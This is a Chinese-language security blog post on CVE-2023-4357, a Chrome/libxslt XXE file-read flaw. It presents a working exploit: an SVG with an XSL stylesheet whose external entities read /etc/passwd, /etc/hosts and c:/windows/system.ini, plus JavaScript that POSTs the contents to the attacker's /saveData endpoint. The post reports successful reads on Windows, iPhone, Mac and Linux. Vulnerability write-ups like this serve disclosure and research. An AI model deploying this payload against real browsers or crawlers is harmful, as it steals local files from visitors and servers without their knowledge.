T0ngMystic`s Blog

"Security studying, Strive to be Security Re-Searcher. Love everything that I want to do"

CVE-2023-4357-Chrome XXE文件读取

image

2023-11-27 / 共计1051 字


再见的意义是约定还是告别

Is the meaning of goodbye a promise or a farewell?

Chrome出了个新的XXE漏洞,看了官方的说明,Chrome使用的是Libxslt库。Libxslt允许通过XSL documenta()方法加载外部实体,从而使用file访问文件。chrome官方说在默认沙箱,只能读取/etc/hosts文件。若使用了–no-sandbox模式时,可以读取任何文件(在测试过程中发现,ios16.6.1中可以读取任意文件,猜测默认使用的就是–no-sandbox模式) image.png

攻击面

目前发现的攻击面主要有两个方向:

一、用户方面,由于在测试低版本ios时,可读取任意文件(估计默认使用的–no-sandbox模式)普通用户访问恶意网站时,可读取任意文件,即可读取指定app的本地数据文件。

二、应用方面,在有些应用会继承chrome的内核Chromium(爬虫等),由于有时在默认沙箱下会有限制,就会在无沙箱模式下启动,当应用访问到存在恶意代码的网站时,即可读取应用服务器的任意文件。

EXP

cve-2023-4357-chrome.gif

我的利用思路是在正常的html中加载携带恶意代码的svg,从而读取访问者的任意文件,再通过js将获取的文件外带至服务端。核心代码如下:(完整代码已放于github)

<!--tm.svg-->
<!--通过DOCTYPE申明外部实体,再通过javascript将获取的文件内容post到服务端/savedata-->
<?xml version="1.0" encoding="UTF-8"?>  
<?xml-stylesheet type="text/xsl" href="?#"?>  
<!DOCTYPE div [  
  <!ENTITY passwd        "file:///etc/passwd">  
  <!ENTITY passwd_a SYSTEM "file:///etc/passwd">  
  <!ENTITY  host        "file:///etc/hosts">  
  <!ENTITY  host_a SYSTEM "file:///etc/hosts">  
  <!ENTITY  winsys        "file:///c:/windows/system.ini">  
  <!ENTITY  winsys_a SYSTEM "file:///c:/windows/system.ini">  
<!-- 可自行添加想读取文件目录,之后需要在t标签中添加元素 -->  
]>  
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  
  <xsl:template match="/">  
    <xsl:copy-of select="document('')"/>  
    <body xmlns="http://www.w3.org/1999/xhtml">  
      <div style="display:none">  
        <t class="&passwd;">&passwd_a;</t>  
        <t class="&host;">&host_a;</t>  
        <t class="&winsys;">&winsys_a;</t>  
      </div>      <div style="width:40rem" id="r" />  
      <script>  
  
        let data = {};  
          document.querySelectorAll('t').forEach(p => {            
          let className = p.className;            
          let content = p.innerHTML;  
            // 将 p 标签的内容放入 data 对象  
            data[className] = content;  
          });        
          fetch("/saveData",{            
          method: "POST",              
          headers: { "Content-Type": "application/json" // 根据发送的数据格式设置合适的Content-Type  },              
          body: JSON.stringify(data)        
          })      
          </script>  
    </body>  
    </xsl:template>
    </xsl:stylesheet>

windows

使用–no-sandbox启动chrome,并访问准备好的携带恶意代码的网站: image.png

成功读取windows下的c:/windows/system.ini文件: image.png

iphone

访问携带恶意代码的网站: image.png

成功获取iphone下的/etc/passwd文件内容: image.png

macbook

使用mac的safari浏览器访问携带恶意代码的网站: image.png

成功获取mac下的/etc/passwd文件内容 image.png

Linux

Linux使用–no-sandbox启动chrome,并访问携带恶意代码的网站: image.png

成功获取Linux下的/etc/passwd文件内容: image.png

文笔垃圾,技术欠缺,欢迎各位大师傅请斧正,非常感谢!


如果文章对您有帮助

欢迎关注公众号!

感谢您的支持!